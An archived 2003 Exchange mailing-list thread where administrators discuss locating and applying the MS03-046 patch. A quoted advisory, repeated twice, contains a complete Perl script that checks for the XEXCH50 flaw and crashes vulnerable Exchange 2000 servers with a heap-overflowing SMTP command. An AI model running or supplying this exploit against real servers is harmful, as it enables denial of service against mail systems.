RE: MS03-046 Patch

2003-10-22 Thread Dean Cunningham
In my clients defense there is no easy access to 46 and 47 from here

http://www.microsoft.com/security/security_bulletins/

which ya woulda thought wasa  "Good Idea"(TM)



>>> [EMAIL PROTECTED] 23/10/2003 7:05:28 a.m. >>>
Teach a man to fish... 


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From: Sabo, Eric [mailto:[EMAIL PROTECTED] 
Posted At: Wednesday, October 22, 2003 12:59 PM
Posted To: Exchange (Swynk)
Conversation: MS03-046 Patch
Subject: RE: MS03-046 Patch


http://www.microsoft.com/technet/treeview/default.asp?url=/technet/secur 
ity/bulletin/excoct03.asp



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From: Ben Winzenz [mailto:[EMAIL PROTECTED] 
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Subject: RE: MS03-046 Patch

How about a simple search on Technet for MS03-046?  Worked for me.  A
Google search would probably pull it up as well. 


Ben Winzenz
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October 22, 2003 11:42 AM Posted To: Exchange (Swynk)
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Where can we find the actual patch for this?

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RE: MS03-046 Patch

2003-10-22 Thread Ben Winzenz
47 only applies to 5.5 servers, not 2000.  But you knew that already :-)



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-Original Message-
From: Dean Cunningham [mailto:[EMAIL PROTECTED] 
Posted At: Wednesday, October 22, 2003 4:21 PM
Posted To: Exchange (Swynk)
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Subject: RE: MS03-046 Patch


Don't forget 47 while your at it

>>> [EMAIL PROTECTED] 23/10/2003 6:43:40 a.m. >>>
How about a simple search on Technet for MS03-046?  Worked for me.  A
Google search would probably pull it up as well. 


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RE: MS03-046 Patch

2003-10-22 Thread Dean Cunningham
Don't forget 47 while your at it

>>> [EMAIL PROTECTED] 23/10/2003 6:43:40 a.m. >>>
How about a simple search on Technet for MS03-046?  Worked for me.  A
Google search would probably pull it up as well. 


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RE: MS03-046 Patch

2003-10-22 Thread Ben Winzenz
Teach a man to fish... 


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From: Sabo, Eric [mailto:[EMAIL PROTECTED] 
Posted At: Wednesday, October 22, 2003 12:59 PM
Posted To: Exchange (Swynk)
Conversation: MS03-046 Patch
Subject: RE: MS03-046 Patch


http://www.microsoft.com/technet/treeview/default.asp?url=/technet/secur
ity/bulletin/excoct03.asp



-Original Message-
From: Ben Winzenz [mailto:[EMAIL PROTECTED]
Sent: Wednesday, October 22, 2003 1:44 PM
To: Exchange Discussions
Subject: RE: MS03-046 Patch

How about a simple search on Technet for MS03-046?  Worked for me.  A
Google search would probably pull it up as well. 


Ben Winzenz
Network Engineer
Gardner & White
(317) 581-1580 ext 418


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From: John Parker [mailto:[EMAIL PROTECTED] Posted At: Wednesday,
October 22, 2003 11:42 AM Posted To: Exchange (Swynk)
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Subject: RE: MS03-046 Patch


Where can we find the actual patch for this?

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RE: MS03-046 Patch

2003-10-22 Thread Sabo, Eric
http://www.microsoft.com/technet/treeview/default.asp?url=/technet/secur
ity/bulletin/excoct03.asp



-Original Message-
From: Ben Winzenz [mailto:[EMAIL PROTECTED] 
Sent: Wednesday, October 22, 2003 1:44 PM
To: Exchange Discussions
Subject: RE: MS03-046 Patch

How about a simple search on Technet for MS03-046?  Worked for me.  A
Google search would probably pull it up as well. 


Ben Winzenz
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From: John Parker [mailto:[EMAIL PROTECTED] 
Posted At: Wednesday, October 22, 2003 11:42 AM
Posted To: Exchange (Swynk)
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Subject: RE: MS03-046 Patch


Where can we find the actual patch for this?

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RE: MS03-046 Patch

2003-10-22 Thread Ben Winzenz
How about a simple search on Technet for MS03-046?  Worked for me.  A
Google search would probably pull it up as well. 


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Where can we find the actual patch for this?

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RE: MS03-046 Patch

2003-10-22 Thread John Parker
Where can we find the actual patch for this?

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RE: MS03-046 Patch

2003-10-22 Thread Dickenson, Steven
We have a Linux gateway in front of our Exchange box, however I still
applied the patch just to be safe.  No problems here.

Exchange 5.5, Win2k SP4, single site, single server.

Steven
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Sent: Wednesday, October 22, 2003 12:25 PM
To: Exchange Discussions
Subject: RE: MS03-046 Patch


When I read the write-up, it seems to only be a critical patch if your
Exchange server is directly facing the internet, meaning port 25 of
Exchange is what other servers connect to and deliver mail to.  If you
have something else in front of Exchange, such as a gateway, you are not
vulnerable to this. 


Ben Winzenz
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-Original Message-
From: Clemens, Rick [mailto:[EMAIL PROTECTED] 
Posted At: Wednesday, October 22, 2003 11:19 AM
Posted To: Exchange (Swynk)
Conversation: MS03-046 Patch
Subject: MS03-046 Patch


Are we seeing any issues with this patch?  It seems the exploit code is
available.



Microsoft Exchange 2000 Heap Overflow (XEXCH50) 


As we reported in our previous article Vulnerability in Exchange Server
Could Allow Arbitrary Code Execution (MS03-046), a vulnerability in the
Exchange Server allows remote attackers to cause the Exchange Server to
execute arbitrary code. The following exploit code can be used to test
your server for the mentioned vulnerability (It causes a denial of
service on vulnerable servers). 



Exploit: 
#!/usr/bin/perl -w
## 

##
# ms03-046.pl - hdm[at]metasploit.com
## 

use strict;
use IO::Socket; 

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25; 


if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() } 

usage(); 


sub check
{ 
my $s = SMTP($host, $port); 
if (! $s) 
{ 
print "[*] Error establishing connection to SMTP service.\n"; 
exit(0); 
} 

print $s "XEXCH50 2 2\r\n"; 
my $res = <$s>; 
close ($s); 

# a patched server only allows XEXCH50 after NTLM authentication 
if ($res =~ /authentication/i) 
{ 
print "[*] This server has been patched or is not
vulnerable.\n"; 
exit(0); 
} 

print "[*] This system is vulnerable: $host:$port\n"; 

exit(0);
} 


sub crash 
{ 
my $s = SMTP($host, $port); 
if (! $s) 
{ 
print "[*] Error establishing connection to SMTP service.\n"; 
exit(0); 
} 

# the negative value allows us to overwrite random heap bits 
print $s "XEXCH50 -1 2\r\n"; 
my $res = <$s>; 

# a patched server only allows XEXCH50 after NTLM authentication 
if ($res =~ /authentication/i) 
{ 
print "[*] This server has been patched or is not
vulnerable.\n"; 
exit(0); 
} 

print "[*] Sending massive heap-smashing string...\n"; 
print $s ("META" x 16384); 

# sometimes a second connection is required to trigger the crash 
$s = SMTP($host, $port); 

exit(0); 
} 


sub usage 
{ 
print STDERR "Usage: $0  [CHECK|CRASH]\n"; 
exit(0); 

} 

sub SMTP 
{ 
my ($host, $port) = @_; 
my $s = IO::Socket::INET->new 
( 
PeerAddr => $host, 
PeerPort => $port, 
Proto => "tcp" 
) || return(undef); 

my $r = <$s>; 
return undef if !$r; 
 
if ($r !~ /Microsoft/) 
{ 
chomp($r); 
print STDERR "[*] This does not look like an exchange server:
$r\n"; 
return(undef); 
} 
 
print $s "HELO X\r\n"; 
$r = <$s>; 
return undef if !$r; 

print $s "MAIL FROM: DoS\r\n"; 
$r = <$s>; 
return undef if !$r; 
 
print $s "RCPT TO: Administrator\r\n"; 
$r = <$s>; 
return undef if !$r; 
 
return($s); 
} 


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RE: MS03-046 Patch

2003-10-22 Thread Ben Winzenz
When I read the write-up, it seems to only be a critical patch if your
Exchange server is directly facing the internet, meaning port 25 of
Exchange is what other servers connect to and deliver mail to.  If you
have something else in front of Exchange, such as a gateway, you are not
vulnerable to this. 


Ben Winzenz
Network Engineer
Gardner & White
(317) 581-1580 ext 418


-Original Message-
From: Clemens, Rick [mailto:[EMAIL PROTECTED] 
Posted At: Wednesday, October 22, 2003 11:19 AM
Posted To: Exchange (Swynk)
Conversation: MS03-046 Patch
Subject: MS03-046 Patch


Are we seeing any issues with this patch?  It seems the exploit code is
available.



Microsoft Exchange 2000 Heap Overflow (XEXCH50) 


As we reported in our previous article Vulnerability in Exchange Server
Could Allow Arbitrary Code Execution (MS03-046), a vulnerability in the
Exchange Server allows remote attackers to cause the Exchange Server to
execute arbitrary code. The following exploit code can be used to test
your server for the mentioned vulnerability (It causes a denial of
service on vulnerable servers). 



Exploit: 
#!/usr/bin/perl -w
## 

##
# ms03-046.pl - hdm[at]metasploit.com
## 

use strict;
use IO::Socket; 

my $host = shift() || usage();
my $mode = shift() || "CHECK";
my $port = 25; 


if (uc($mode) eq "CHECK") { check() }
if (uc($mode) eq "CRASH") { crash() } 

usage(); 


sub check
{ 
my $s = SMTP($host, $port); 
if (! $s) 
{ 
print "[*] Error establishing connection to SMTP service.\n"; 
exit(0); 
} 

print $s "XEXCH50 2 2\r\n"; 
my $res = <$s>; 
close ($s); 

# a patched server only allows XEXCH50 after NTLM authentication 
if ($res =~ /authentication/i) 
{ 
print "[*] This server has been patched or is not
vulnerable.\n"; 
exit(0); 
} 

print "[*] This system is vulnerable: $host:$port\n"; 

exit(0);
} 


sub crash 
{ 
my $s = SMTP($host, $port); 
if (! $s) 
{ 
print "[*] Error establishing connection to SMTP service.\n"; 
exit(0); 
} 

# the negative value allows us to overwrite random heap bits 
print $s "XEXCH50 -1 2\r\n"; 
my $res = <$s>; 

# a patched server only allows XEXCH50 after NTLM authentication 
if ($res =~ /authentication/i) 
{ 
print "[*] This server has been patched or is not
vulnerable.\n"; 
exit(0); 
} 

print "[*] Sending massive heap-smashing string...\n"; 
print $s ("META" x 16384); 

# sometimes a second connection is required to trigger the crash 
$s = SMTP($host, $port); 

exit(0); 
} 


sub usage 
{ 
print STDERR "Usage: $0  [CHECK|CRASH]\n"; 
exit(0); 

} 

sub SMTP 
{ 
my ($host, $port) = @_; 
my $s = IO::Socket::INET->new 
( 
PeerAddr => $host, 
PeerPort => $port, 
Proto => "tcp" 
) || return(undef); 

my $r = <$s>; 
return undef if !$r; 
 
if ($r !~ /Microsoft/) 
{ 
chomp($r); 
print STDERR "[*] This does not look like an exchange server:
$r\n"; 
return(undef); 
} 
 
print $s "HELO X\r\n"; 
$r = <$s>; 
return undef if !$r; 

print $s "MAIL FROM: DoS\r\n"; 
$r = <$s>; 
return undef if !$r; 
 
print $s "RCPT TO: Administrator\r\n"; 
$r = <$s>; 
return undef if !$r; 
 
return($s); 
} 


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The information has been provided by H D Moore. 



 





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